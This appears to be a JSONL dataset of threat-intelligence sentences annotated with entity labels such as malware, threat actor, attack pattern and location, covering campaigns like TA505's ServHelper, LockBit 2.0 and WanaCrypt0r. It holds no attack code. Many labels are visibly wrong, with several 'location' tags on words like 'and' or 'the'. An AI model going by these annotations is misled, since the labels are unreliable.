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{"id":7688,"text":"This NSIS-encapsulated file then installs ServHelper .","entities":[{"id":23917,"label":"malware","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
{"id":3536,"text":"Indeed, Blackgear\u2019s attacks exemplify the need for organizations to develop and implement security strategies that can proactively respond to threats.","entities":[{"id":49316,"label":"threat-actor","start_offset":8,"end_offset":18}],"relations":[],"Comments":[]}
{"id":498,"text":"In order to defend against the Android Toast Overlay attack, update all Android devices to the latest version.","entities":[{"id":44756,"label":"attack-pattern","start_offset":31,"end_offset":59},{"id":44757,"label":"SOFTWARE","start_offset":31,"end_offset":38},{"id":44758,"label":"SOFTWARE","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
{"id":4036,"text":"      Figure 1. Stages of Earth Centaur\u2019s intrusion process      Technical Analysis of Earth Centaur\u2019s Tools and Techniques Stage 1: Loaders","entities":[{"id":49880,"label":"threat-actor","start_offset":87,"end_offset":100},{"id":49879,"label":"threat-actor","start_offset":26,"end_offset":39}],"relations":[],"Comments":[]}
{"id":10747,"text":"REDBALDKNIGHT\u2019s use of steganography isn\u2019t limited to Daserf.","entities":[],"relations":[],"Comments":[]}
{"id":190,"text":"We have already observed an increase in Russian cyber activity, which we reported on in our initial Threat Brief published last month and our recent report on the Gamaredon group.","entities":[{"id":45859,"label":"threat-actor","start_offset":163,"end_offset":178},{"id":45860,"label":"location","start_offset":40,"end_offset":47}],"relations":[],"Comments":[]}
{"id":11678,"text":"For example, \u201cmail-nepalgovnp[.]duckdns[.]org\u201d was created to pretend to be the original Nepal government\u2019s domain \u201cmail[.]nepal[.]gov[.]np\u201d.","entities":[],"relations":[],"Comments":[]}
{"id":4693,"text":"We\u2019ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.","entities":[],"relations":[],"Comments":[]}
{"id":5111,"text":"Now don't get me wrong, this isn't to blame on defenders.","entities":[],"relations":[],"Comments":[]}
{"id":1711,"text":" In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.","entities":[{"id":5083,"label":"tools","start_offset":44,"end_offset":47},{"id":46886,"label":"TIME","start_offset":4,"end_offset":11},{"id":46887,"label":"malware","start_offset":13,"end_offset":27}],"relations":[{"id":248,"from_id":46887,"to_id":5083,"type":"uses"}],"Comments":[]}
{"id":3519,"text":"We saw two notable changes throughout Protux\u2019s history: its export name and how it functions:","entities":[{"id":49304,"label":"malware","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
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{"id":5004,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
{"id":4910,"text":"Related hashes are listed in the Technical Details section, at the end of this report.","entities":[],"relations":[],"Comments":[]}
{"id":1867,"text":"grows in sophistication.","entities":[],"relations":[],"Comments":[]}
{"id":6089,"text":"EXOTIC LILY activities overlap with a group tracked as DEV-0413 (Microsoft) and were also described by Abnormal in their recent post.","entities":[{"id":18792,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18793,"label":"threat-actor","start_offset":55,"end_offset":63},{"id":18795,"label":"location","start_offset":76,"end_offset":79},{"id":18797,"label":"location","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]}
{"id":1321,"text":"In addition, port \/ protocol mis-match traffic can be an indicator of bad activity.","entities":[],"relations":[],"Comments":[]}
{"id":9094,"text":"Lurk\u2019s web-based attacks were the first signs of their campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":8618,"text":"New variant: https:\/\/www.virustotal.com\/gui\/file\/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db\/detection","entities":[{"id":26621,"label":"URL","start_offset":13,"end_offset":123}],"relations":[],"Comments":[]}
{"id":6493,"text":"The out1.exe RAT has the following capabilities:  Data encoding Email parsing File and registry copy HTTP\/S connection support Native command line Process and file execution  ","entities":[{"id":20142,"label":"attack-pattern","start_offset":50,"end_offset":63},{"id":20143,"label":"location","start_offset":83,"end_offset":86},{"id":20144,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]}
{"id":1948,"text":"The connection of Urpage to the other three threat actors demonstrate that cyberattacks don\u2019t exist in silos and that it hints at a circulation of knowledge and technologies that help in the continuing evolution of different malicious campaigns.","entities":[{"id":47072,"label":"threat-actor","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
{"id":13140,"text":"With Marketplace Vendor Insights, IT leaders can review compliance attestations and double click on more details about ISV security best practices directly from the AWS Marketplace.","entities":[{"id":48912,"label":"SOFTWARE","start_offset":165,"end_offset":169}],"relations":[],"Comments":[]}
{"id":12527,"text":"The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.","entities":[{"id":38995,"label":"location","start_offset":13,"end_offset":17},{"id":38996,"label":"attack-pattern","start_offset":32,"end_offset":52}],"relations":[],"Comments":[]}
{"id":13583,"text":" There are three different approaches used to upload the backdoor.","entities":[],"relations":[],"Comments":[]}
{"id":7656,"text":"Our daily monitoring of TA505's activities show that the group sends spam from specific IPs; this suspicious attack used different sender IPs.","entities":[],"relations":[],"Comments":[]}
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{"id":1462,"text":"As we see in this distribution, a lot of developers sign different apps with the same certificate.","entities":[],"relations":[],"Comments":[]}
{"id":1981,"text":"Below, Figure 5 shows what the call stack looks like when the process crashes.","entities":[],"relations":[],"Comments":[]}
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{"id":11044,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":1370,"text":"It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload.","entities":[{"id":4118,"label":"identity","start_offset":122,"end_offset":131}],"relations":[],"Comments":[]}
{"id":801,"text":" Credentials and authentication have become synonymous, with valid credentials allowing access to sensitive resources.","entities":[],"relations":[],"Comments":[]}
{"id":2689,"text":" Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques:  Exploit Public-Facing Application [T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell [T1505.003], Exploitation for Privilege Escalation [T1068], Indicator Removal on Host [T1070], Deobfuscate\/Decode Files or Information [T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts [T1078], External Remote Services [T1133], Scheduled Task [T1053.005], Bypass User Account Control [T1548.002], Group Policy Modification [T1484.001]  OS Credential Dumping [T1003], Credentials from Password Stores [T1555]  Network Service Scanning [T1046], Process Discovery [T1057], System Location Discovery [T1614], System Information Discovery [T1082]  Remote Services [T1021], SMB\/Windows Admin Shares [T1021.002]  Remote Access Software [T1219]  Data Transfer Size Limits [T1030], Exfiltration Over C2 Channel [T1041]  Data Encrypted for Impact [T1486], Service Stop [T1489]  \u2020These capabilities are part of the NGFW security subscriptions service","entities":[{"id":47897,"label":"identity","start_offset":111,"end_offset":129},{"id":47898,"label":"threat-actor","start_offset":195,"end_offset":206},{"id":47899,"label":"attack-pattern","start_offset":271,"end_offset":312},{"id":47901,"label":"attack-pattern","start_offset":357,"end_offset":382},{"id":47910,"label":"attack-pattern","start_offset":729,"end_offset":766},{"id":47911,"label":"attack-pattern","start_offset":799,"end_offset":839},{"id":47913,"label":"attack-pattern","start_offset":875,"end_offset":900},{"id":47914,"label":"attack-pattern","start_offset":937,"end_offset":973},{"id":47915,"label":"attack-pattern","start_offset":975,"end_offset":998},{"id":47918,"label":"attack-pattern","start_offset":1105,"end_offset":1141},{"id":47919,"label":"attack-pattern","start_offset":1143,"end_offset":1176},{"id":47922,"label":"attack-pattern","start_offset":902,"end_offset":935},{"id":47923,"label":"attack-pattern","start_offset":1038,"end_offset":1068},{"id":47924,"label":"attack-pattern","start_offset":1178,"end_offset":1198},{"id":47900,"label":"attack-pattern","start_offset":314,"end_offset":355},{"id":47902,"label":"attack-pattern","start_offset":407,"end_offset":452},{"id":47903,"label":"attack-pattern","start_offset":454,"end_offset":487},{"id":47904,"label":"attack-pattern","start_offset":538,"end_offset":573},{"id":47905,"label":"attack-pattern","start_offset":575,"end_offset":600},{"id":47906,"label":"attack-pattern","start_offset":602,"end_offset":624},{"id":47907,"label":"attack-pattern","start_offset":626,"end_offset":658},{"id":47908,"label":"attack-pattern","start_offset":660,"end_offset":686},{"id":47909,"label":"attack-pattern","start_offset":688,"end_offset":727},{"id":47912,"label":"attack-pattern","start_offset":841,"end_offset":873},{"id":47916,"label":"attack-pattern","start_offset":1000,"end_offset":1036},{"id":47917,"label":"attack-pattern","start_offset":1070,"end_offset":1103},{"id":47920,"label":"attack-pattern","start_offset":384,"end_offset":405},{"id":47921,"label":"attack-pattern","start_offset":489,"end_offset":536},{"id":47925,"label":"attack-pattern","start_offset":768,"end_offset":797}],"relations":[],"Comments":[]}
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{"id":5055,"text":"While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.","entities":[{"id":51150,"label":"identity","start_offset":44,"end_offset":50}],"relations":[],"Comments":[]}
{"id":2840,"text":"There are some reports that there may be scanning of TCP port 445, which is one of the ports associated with SMB.","entities":[],"relations":[],"Comments":[]}
{"id":4858,"text":"The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.","entities":[{"id":50841,"label":"location","start_offset":95,"end_offset":102},{"id":50840,"label":"SOFTWARE","start_offset":27,"end_offset":32}],"relations":[],"Comments":[]}
{"id":12317,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
{"id":6855,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":21394,"label":"location","start_offset":3,"end_offset":7},{"id":21395,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":21396,"label":"location","start_offset":91,"end_offset":94},{"id":21397,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
{"id":3735,"text":"In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.","entities":[{"id":49544,"label":"identity","start_offset":86,"end_offset":104}],"relations":[],"Comments":[]}
{"id":2837,"text":"Given that WanaCrypt0r requests $300 per infected machine, we can infer that approximately 210 victims have made payments to the attackers.","entities":[{"id":48047,"label":"malware","start_offset":11,"end_offset":22}],"relations":[],"Comments":[]}
{"id":14262,"text":"Maikspy, which is an alias that combines the name of the adult film actress and spyware, has been around since 2016.","entities":[{"id":48472,"label":"malware","start_offset":0,"end_offset":7},{"id":48473,"label":"TIME","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
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{"id":3102,"text":" For regular end-user systems and devices, malware and malicious scripts can use these vulnerabilities to access information like usernames, passwords and account information.","entities":[],"relations":[],"Comments":[]}
{"id":14077,"text":"In the blog describing Operation Earth Kitsune, we noted sites using the GNUBoard Content Management System (CMS) had been compromised and were used to host malware.","entities":[{"id":48008,"label":"campaign","start_offset":23,"end_offset":46},{"id":48009,"label":"SOFTWARE","start_offset":73,"end_offset":90},{"id":48010,"label":"malware","start_offset":157,"end_offset":164}],"relations":[{"id":370,"from_id":48010,"to_id":48009,"type":"compromises"},{"id":376,"from_id":48009,"to_id":48010,"type":"hosts"}],"Comments":[]}
{"id":2850,"text":" Overall, WanaCrypt0r has been a notable incident within the security community, as the threat couples a wormable vulnerability\/exploit with a ransomware family.","entities":[{"id":45724,"label":"malware","start_offset":10,"end_offset":21}],"relations":[],"Comments":[]}
{"id":10836,"text":"It uploads files, which were collected on infected devices, with a periodicity of 3000 seconds.","entities":[{"id":33059,"label":"TIME","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
{"id":10077,"text":" Various sources have recently disclosed a sophisticated attack that hit organizations via the supply chain.","entities":[{"id":30747,"label":"identity","start_offset":69,"end_offset":72},{"id":30748,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
{"id":3707,"text":"For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.","entities":[{"id":49502,"label":"threat-actor","start_offset":42,"end_offset":46},{"id":49501,"label":"threat-actor","start_offset":29,"end_offset":37}],"relations":[],"Comments":[]}
{"id":4918,"text":" These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.","entities":[],"relations":[],"Comments":[]}
{"id":14276,"text":"as an attempt to deceive the user into thinking that the app is already removed from the device.","entities":[],"relations":[],"Comments":[]}
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{"id":1284,"text":" The following section details the functionality of the malware deployed in this campaign.","entities":[],"relations":[],"Comments":[]}
{"id":12819,"text":"Table 2: Incident where PLEAD and KIVARS attack the same target    PLEAD Shrouded Crossbow Waterbear Samples found in same machine vmdks.exe  cfbcjtqx.dll tpauto.dll Timeline of infection 3\/16\/2017 2\/23\/2017 3\/8\/2017   Table 3: Incidents where PLEAD, KIVARS, and Waterbear were used on the same target","entities":[{"id":39918,"label":"malware","start_offset":24,"end_offset":29},{"id":39919,"label":"location","start_offset":30,"end_offset":33},{"id":39920,"label":"malware","start_offset":34,"end_offset":40},{"id":39921,"label":"location","start_offset":52,"end_offset":56},{"id":39922,"label":"location","start_offset":57,"end_offset":63},{"id":39923,"label":"malware","start_offset":67,"end_offset":72},{"id":39924,"label":"threat-actor","start_offset":73,"end_offset":90},{"id":39925,"label":"malware","start_offset":91,"end_offset":100},{"id":39926,"label":"location","start_offset":118,"end_offset":122},{"id":39928,"label":"malware","start_offset":244,"end_offset":249},{"id":39930,"label":"location","start_offset":259,"end_offset":262},{"id":39932,"label":"location","start_offset":290,"end_offset":294},{"id":39933,"label":"location","start_offset":295,"end_offset":301}],"relations":[],"Comments":[]}
{"id":3630,"text":" Spear phishing focuses on the quality of the theme and lure where standard phishing focuses on quantity.","entities":[{"id":49412,"label":"attack-pattern","start_offset":1,"end_offset":15},{"id":49413,"label":"attack-pattern","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
{"id":1607,"text":"Here\u2019s the text decoded from the application\u2019s source code.","entities":[],"relations":[],"Comments":[]}
{"id":14404,"text":"Hacking tools and keyloggers will be used to steal user accounts and passwords to obtain legitimate user credentials within systems.","entities":[],"relations":[],"Comments":[]}
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{"id":5527,"text":"And it has a very specific purpose: to steal customer card details as they are entered into the site during payment.","entities":[],"relations":[],"Comments":[]}
{"id":8088,"text":"Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.","entities":[{"id":25080,"label":"TIME","start_offset":24,"end_offset":31},{"id":25081,"label":"location","start_offset":78,"end_offset":82}],"relations":[],"Comments":[]}
{"id":4538,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[],"relations":[],"Comments":[]}
{"id":5000,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":51059,"label":"SOFTWARE","start_offset":99,"end_offset":106}],"relations":[],"Comments":[]}
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{"id":5160,"text":"Once you're in as a cybercriminal, once you've made headway, once you gained a beachhead or a foothold within that network you're going to do everything you can to expand it because it's going to make you the most amount of money.","entities":[],"relations":[],"Comments":[]}
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{"id":14032,"text":"However, this commonality is just the first of many that lead us to believe the team attributed to the Freenki malware is the same team behind Operation Earth Kitsune.2 Leaked assert path and external blog references Sometimes, the malware authors know that releasing symbol information is dangerous from an attribution point of view since it can reveal information about the working environment.","entities":[{"id":47198,"label":"campaign","start_offset":143,"end_offset":166},{"id":47197,"label":"malware","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
{"id":7792,"text":"This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.","entities":[{"id":24128,"label":"malware","start_offset":28,"end_offset":32},{"id":24130,"label":"location","start_offset":52,"end_offset":55},{"id":24131,"label":"location","start_offset":78,"end_offset":82},{"id":24132,"label":"location","start_offset":101,"end_offset":109},{"id":24136,"label":"location","start_offset":147,"end_offset":150}],"relations":[],"Comments":[]}
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{"id":13147,"text":"The group was reportedly using spear-phishing emails with weaponized attachments to exploit known vulnerabilities.","entities":[{"id":48925,"label":"attack-pattern","start_offset":31,"end_offset":45},{"id":48926,"label":"threat-actor","start_offset":4,"end_offset":10}],"relations":[{"id":499,"from_id":48926,"to_id":48925,"type":"uses"}],"Comments":[]}
{"id":63,"text":"As the chart below shows, Monero has risen even faster than bitcoin in price in the last two years, with more than a 30,000% gain in U.S. dollars.","entities":[{"id":45773,"label":"TIME","start_offset":84,"end_offset":98},{"id":44583,"label":"SOFTWARE","start_offset":26,"end_offset":32},{"id":44584,"label":"SOFTWARE","start_offset":60,"end_offset":67}],"relations":[],"Comments":[]}
{"id":13130,"text":"The challenge is often finding the right partners to align with their specific requirements.","entities":[],"relations":[],"Comments":[]}
{"id":3544,"text":"It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats delivered by Blackgear even without any engine or pattern update.","entities":[{"id":49321,"label":"threat-actor","start_offset":269,"end_offset":278}],"relations":[],"Comments":[]}
{"id":1315,"text":"PlugX file uses Symantec logo icon.","entities":[{"id":3983,"label":"malware","start_offset":0,"end_offset":5},{"id":46668,"label":"identity","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
{"id":12147,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":37575,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":37576,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
{"id":324,"text":"The latest development in the ransomware world is CryptoWall 2.0, a new version of this malware family that uses the Tor network for command and control.","entities":[{"id":44699,"label":"malware","start_offset":50,"end_offset":64},{"id":44700,"label":"tools","start_offset":117,"end_offset":120}],"relations":[{"id":14,"from_id":44699,"to_id":44700,"type":"uses"}],"Comments":[]}
{"id":14081,"text":"The SLUB campaign also exploited and used GNUBoard websites as part of the infrastructure.","entities":[{"id":48160,"label":"campaign","start_offset":4,"end_offset":17},{"id":48161,"label":"SOFTWARE","start_offset":42,"end_offset":51}],"relations":[{"id":389,"from_id":48160,"to_id":48161,"type":"exploits"}],"Comments":[]}
{"id":4006,"text":"Supply chain attacks are quite risky and could result in real-world impacts.","entities":[],"relations":[],"Comments":[]}
{"id":11394,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups\u2019s marketing information suggesting that they had a 0-day exploit for Android.","entities":[],"relations":[],"Comments":[]}
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{"id":3708,"text":"Carbanak also collects information on accounts, files and directories, group permissions, and registries.","entities":[{"id":49503,"label":"threat-actor","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
{"id":10725,"text":"Attack ChainREDBALDKNIGHT\u2019s attacks typically use spear phishing emails as an entry point.","entities":[{"id":32779,"label":"attack-pattern","start_offset":50,"end_offset":64},{"id":32780,"label":"location","start_offset":84,"end_offset":89}],"relations":[],"Comments":[]}
{"id":2664,"text":"The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised.","entities":[],"relations":[],"Comments":[]}
{"id":11654,"text":"     All of these cases end up with either the downloading or dropping of files and then the execution of JavaScript code, which is a dropper used to install the main backdoor + stealer.","entities":[{"id":35772,"label":"location","start_offset":80,"end_offset":83},{"id":35773,"label":"malware","start_offset":178,"end_offset":185}],"relations":[],"Comments":[]}
{"id":2335,"text":"Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":6816,"text":"Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don\u2019t show anything.","entities":[],"relations":[],"Comments":[]}
{"id":5916,"text":"Ed\u2019s social media: @Ed_E_Cabrera (Twitter), https:\/\/www.linkedin.com\/in\/ed-e-cabrera\/ (LinkedIn)","entities":[{"id":18172,"label":"location","start_offset":12,"end_offset":17},{"id":18173,"label":"URL","start_offset":44,"end_offset":85}],"relations":[],"Comments":[]}
{"id":2677,"text":" Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures:  Windows SysInternals PsExec has been utilized for both persistence and execution purposes.","entities":[{"id":47880,"label":"threat-actor","start_offset":40,"end_offset":51},{"id":47879,"label":"tools","start_offset":125,"end_offset":152}],"relations":[{"id":365,"from_id":47880,"to_id":47879,"type":"uses"}],"Comments":[]}
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{"id":6678,"text":"The company has not released further information on the vulnerability.","entities":[],"relations":[],"Comments":[]}
{"id":2741,"text":"The vulnerability, assigned CVE-2014-6271 by Mitre, was originally discovered by Stephane Chazelas, a Unix and Linux network and telecom administrator and IT manager at UK robotics company SeeByte, Ltd.  ","entities":[{"id":47982,"label":"identity","start_offset":45,"end_offset":50},{"id":47984,"label":"SOFTWARE","start_offset":102,"end_offset":106},{"id":47981,"label":"vulnerability","start_offset":28,"end_offset":41},{"id":47983,"label":"identity","start_offset":81,"end_offset":98},{"id":47986,"label":"identity","start_offset":169,"end_offset":201},{"id":47985,"label":"SOFTWARE","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]}
{"id":13261,"text":"The installer drops three files into the Apple\/Update directory Figure 5.","entities":[{"id":41331,"label":"identity","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
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{"id":2954,"text":"Microsoft has already credited our team with 14 previous IE vulnerabilities in 2014, bringing our total for the year up to 35.","entities":[{"id":48109,"label":"identity","start_offset":0,"end_offset":9},{"id":48110,"label":"SOFTWARE","start_offset":57,"end_offset":59},{"id":48111,"label":"TIME","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
{"id":3346,"text":"However, the URL is unused and was likely left inside the loader as a mistake.","entities":[],"relations":[],"Comments":[]}
{"id":6446,"text":"The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.","entities":[{"id":20073,"label":"location","start_offset":16,"end_offset":20},{"id":20074,"label":"location","start_offset":52,"end_offset":60},{"id":20075,"label":"malware","start_offset":107,"end_offset":120}],"relations":[],"Comments":[]}
{"id":10905,"text":"This is similar to the domain hostoperationsystems[.]com, which was previously mentioned in the Talos report.","entities":[],"relations":[],"Comments":[]}
{"id":2433,"text":"The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":5011,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":51066,"label":"identity","start_offset":23,"end_offset":26},{"id":51067,"label":"attack-pattern","start_offset":106,"end_offset":122}],"relations":[],"Comments":[]}
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{"id":7341,"text":"While they have been quiet since our June analysis, we observed an increase in the group\u2019s activities in December, with updates on the kits\u2019 capabilities reminiscent of their previous attacks.","entities":[],"relations":[],"Comments":[]}
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{"id":12542,"text":" Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.","entities":[{"id":39033,"label":"malware","start_offset":11,"end_offset":15},{"id":39034,"label":"location","start_offset":79,"end_offset":86}],"relations":[],"Comments":[]}
{"id":13630,"text":"The code below obtains QQ numbers that are currently logged on the machine, mentioned here.","entities":[],"relations":[],"Comments":[]}
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{"id":4450,"text":"Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.","entities":[{"id":50226,"label":"identity","start_offset":4,"end_offset":25},{"id":50227,"label":"identity","start_offset":30,"end_offset":33}],"relations":[{"id":932,"from_id":50227,"to_id":50226,"type":"duplicate-of"}],"Comments":[]}
{"id":13018,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[],"relations":[],"Comments":[]}
{"id":7679,"text":"Despite the changes, TA505 continues to use either FlawedAmmyy RAT (remote access trojan) or ServHelper as payloads.","entities":[{"id":23882,"label":"malware","start_offset":51,"end_offset":62},{"id":23883,"label":"location","start_offset":68,"end_offset":74}],"relations":[],"Comments":[]}
{"id":7590,"text":"Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.","entities":[{"id":23658,"label":"attack-pattern","start_offset":39,"end_offset":49}],"relations":[],"Comments":[]}
{"id":9666,"text":"The main functions of the backdoor infoClient fills up the variables in HandlePP class.","entities":[],"relations":[],"Comments":[]}
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{"id":162,"text":" And this is where the second point comes to bear.","entities":[],"relations":[],"Comments":[]}
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{"id":1106,"text":"But, in the case of mutex analysis, the useful information pretty well slapped us in the face.","entities":[],"relations":[],"Comments":[]}
{"id":8590,"text":"When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.","entities":[],"relations":[],"Comments":[]}
{"id":2747,"text":"We have posted the advisory on our product vulnerability page.","entities":[],"relations":[],"Comments":[]}
{"id":8124,"text":"Once granted, the app shows a full screen window that says that it requires further setup steps.","entities":[],"relations":[],"Comments":[]}
{"id":10952,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
{"id":428,"text":"When the user visits the website, the code runs on their system and \u201cmines\u201d on behalf of others \u2013 either the website or someone else.","entities":[],"relations":[],"Comments":[]}
{"id":582,"text":"Cortex XSOAR can automatically and instantly coordinate with network security, malware analysis and threat management solutions to ensure customers remain protected.","entities":[{"id":44786,"label":"SOFTWARE","start_offset":0,"end_offset":12}],"relations":[],"Comments":[]}
{"id":4859,"text":"After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.","entities":[{"id":50842,"label":"SOFTWARE","start_offset":154,"end_offset":165}],"relations":[],"Comments":[]}
{"id":2862,"text":"As a reminder, \u201cDon\u2019t Panic,\u201d is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson.  You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.","entities":[{"id":45725,"label":"identity","start_offset":57,"end_offset":64},{"id":45729,"label":"identity","start_offset":165,"end_offset":183},{"id":45726,"label":"identity","start_offset":70,"end_offset":112},{"id":45727,"label":"identity","start_offset":126,"end_offset":148},{"id":45728,"label":"identity","start_offset":149,"end_offset":160},{"id":45731,"label":"identity","start_offset":227,"end_offset":237},{"id":45732,"label":"identity","start_offset":275,"end_offset":294},{"id":45733,"label":"SOFTWARE","start_offset":307,"end_offset":313},{"id":45734,"label":"SOFTWARE","start_offset":315,"end_offset":326},{"id":45735,"label":"SOFTWARE","start_offset":345,"end_offset":348}],"relations":[],"Comments":[]}
{"id":6976,"text":"revealed some interesting things in that year: they used \"com.example.appcode.appcode\" as the APK package name and used a possible public certificate \u201c74bd7b456d9e651fc84446f65041bef1207c408d,\u201d which possibly meant the sample was used for testing, and they just started to use it for their campaigns during that year.","entities":[{"id":21856,"label":"location","start_offset":111,"end_offset":114},{"id":21857,"label":"location","start_offset":131,"end_offset":137},{"id":21858,"label":"MD5","start_offset":151,"end_offset":191},{"id":21859,"label":"location","start_offset":219,"end_offset":225},{"id":21860,"label":"location","start_offset":248,"end_offset":251},{"id":21861,"label":"identity","start_offset":257,"end_offset":261}],"relations":[],"Comments":[]}
{"id":4210,"text":"The app\u2019s APK is linked directly from the homepage, with a disclaimer stating that Google Play does not allow pornography in their store.","entities":[{"id":50024,"label":"SOFTWARE","start_offset":83,"end_offset":94}],"relations":[],"Comments":[]}
{"id":3540,"text":"Managed detection and response also helps make better sense of system- and network-level activities that an organization may not have the time or resources to do.","entities":[],"relations":[],"Comments":[]}
{"id":1504,"text":" This particular linux backdoor will install itself to \"\/usr\/bin\/btdaemon\" and create a startup service at \"\/etc\/init.d\/bluetoothdaemon\" with symbolic links so that it will run in any startup mode.  The file contents are a simple bash script that runs the original btdaemon file.","entities":[{"id":46779,"label":"FILEPATH","start_offset":56,"end_offset":73},{"id":46780,"label":"FILEPATH","start_offset":108,"end_offset":135}],"relations":[],"Comments":[]}
{"id":9672,"text":"MAC address  Figure 14.","entities":[],"relations":[],"Comments":[]}
{"id":5105,"text":"We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.","entities":[],"relations":[],"Comments":[]}
{"id":3057,"text":"When a user opens the app, it will always report that it has located two or three threats on the device (Figure 2), including the following:  Figure 2","entities":[],"relations":[],"Comments":[]}
{"id":4017,"text":"The actors seem to be targeting organizations in the transportation industry and government agencies related to transport.","entities":[],"relations":[],"Comments":[]}
{"id":6289,"text":"  Organizations using Codecov\u2019s Bash Uploader script, or one of the other impacted tools should carefully evaluate their exposure to this threat.","entities":[],"relations":[],"Comments":[]}
{"id":11344,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":4173,"text":"Furthermore, the delimiter that was used in SmileSvr to split different values in configuration files is the same as the one used in YAHAMAM (shown as Figure 15).      Figure 14.","entities":[{"id":49976,"label":"malware","start_offset":44,"end_offset":52},{"id":49975,"label":"malware","start_offset":133,"end_offset":140}],"relations":[],"Comments":[]}
{"id":4529,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[],"relations":[],"Comments":[]}
{"id":5225,"text":"      Tags  Exploits & Vulnerabilities | Research | Cyber Threats | ICS OT | APT & Targeted Attacks | Compliance & Risks | IoT | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
{"id":2973,"text":"In a home of computers, phones, tablets and IoT devices, nearly always the common point is the home router and Wi-Fi.","entities":[],"relations":[],"Comments":[]}
